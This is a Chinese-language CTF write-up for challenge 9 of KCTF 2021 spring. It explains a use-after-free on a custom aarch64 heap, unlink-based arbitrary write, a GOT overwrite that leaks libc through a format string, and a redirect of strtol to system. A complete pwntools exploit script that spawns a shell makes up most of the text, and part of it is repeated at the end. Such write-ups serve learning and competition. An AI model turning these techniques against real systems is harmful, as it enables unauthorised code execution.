-
-
[原创]看雪.深信服 2021 KCTF 春季赛 第九题 平定战乱 WP
-
发表于: 2021-5-26 20:42 15725
-
本题自实现了堆的申请写释放。由于ollvm的原因,堆的管理部分代码比较整理,而且ollvm还加入了死循环,去ollvm有点困难,没有尝试,选择硬看了。
程序将堆大小限制在0x100以内。堆的申请和释放与我们所认识的有些类似,也有差别,算是简化实现版。有可以存放16种不同大小已释放的chunk地址,有topchunk,有1个双链表bin,有pre_used
。结构上的不同在于:pre_used
置位表示释放。在malloc
和free
的实现部分,大致检查与我们熟知的也差不太多。malloc
时先会检查已释放的列表中有没有相同大小的已释放的chunk,同时也会检查该chunk是不是最后一个chunk,会检查双链表及其它有关size的一些检查,如果该chunk通过检查,则会有unlink
的过程和pre_used
位的修改,最终返回该chunk。free
中也会有malloc
的相同检查,还有pre_used
位的检查,并且会排序将chunk的数据指针插入双链表中(似乎程序在这部分有些小BUG,不知是作者有意还是无意留的)。有这些了解,做题也基本够了。
首先此题比较明显的漏洞是UAF,释放堆后,并清除堆指针。这样就可以随便的修改已释放的chunk数据区。如果能伪造chunk插入到双链表中,通过malloc
部分的unlink
,则能把某地址写到bss区存储已申请的堆地址的部分,从而可以修改这部分的堆指针,实现任意地址写。
注意到memset的buf是上一个留下的choice,通过任意地址写,把memset指向printf的plt表,memset
就成了printf
。然后人为构造格式化字符串,就可以leak了。leak时附近正好有alarm
的地址指针,就选择leakalarm
地址,之后计算得到system
的地址,再把strtol
地址改写成system
的地址,然后就可以get shell了。
代码如下:
from
pwn
import
*
import
sys
context.arch
=
"aarch64"
context.log_level
=
"debug"
def
cmd(s):
p.sendlineafter(
": "
,
str
(s))
def
add(size,note):
cmd(
1
)
cmd(size)
p.sendafter(
": "
,note)
def
delete(index):
cmd(
2
)
cmd(index)
def
edit(index,note):
cmd(
3
)
cmd(index)
p.sendafter(
": "
,note)
if
len
(sys.argv)>
=
2
:
p
=
process(
"qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu/ ./main"
,shell
=
True
)
else
:
p
=
process(
"qemu-aarch64 -L /usr/aarch64-linux-gnu/ ./main"
,shell
=
True
)
#p=remote("121.36.145.157",55555)
add(
0x20
,
"aaaa"
)
add(
0x20
,
"aaaa"
)
add(
0x30
,
"aaaa"
)
for
i
in
range
(
9
):
delete(
2
)
add(
0x30
,
"aaaa"
)
add(
0x30
,
"aaaa"
)
add(
0x40
,
"aaaa"
)
#0x18->0x30
#0x20->0x30
#0x28->0x40
delete(
1
)
delete(
2
)
delete(
12
)
edit(
1
,p64(
0x4161a0
)
+
p64(
0x4161b8
))
edit(
2
,p64(
0x4161b8
))
add(
0x20
,
"111"
)
edit(
0
,p64(
0x4161c0
)
+
p64(
0x4161c0
))
add(
0x20
,p64(
0x4160ac
+
4
)
+
p64(
0x00416040
)
+
p64(
0x416018
))
edit(
1
,p64(
0xf0000000f0
))
edit(
3
,p64(
0x0400850
))
p.sendlineafter(
": "
,
"aaaaaaaa%10$llx%11$llx%12$saaaaa"
+
p64(
0x416060
))
p.recvuntil(
"choice: "
)
p.recv(
0x28
)
system
=
u64(p.recv(
6
)
+
"\x00\x00"
)
-
0x000000000009cdb0
+
0x03dda8
print
hex
(system)
p.sendline(
str
(
3
))
cmd(
2
)
p.sendafter(
": "
,p64(system)[:
6
])
p.sendline(
"/bin/sh;"
)
p.interactive()
from
pwn
import
*
import
sys
context.arch
=
"aarch64"
context.log_level
=
"debug"
def
cmd(s):
p.sendlineafter(
": "
,
str
(s))
def
add(size,note):
cmd(
1
)
cmd(size)
p.sendafter(
": "
,note)
def
delete(index):
cmd(
2
)
cmd(index)
def
edit(index,note):
cmd(
3
)
cmd(index)
p.sendafter(
": "
,note)
if
len
(sys.argv)>
=
2
:
p
=
process(
"qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu/ ./main"
,shell
=
True
)
else
:
p
=
process(
"qemu-aarch64 -L /usr/aarch64-linux-gnu/ ./main"
,shell
=
True
)
#p=remote("121.36.145.157",55555)
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!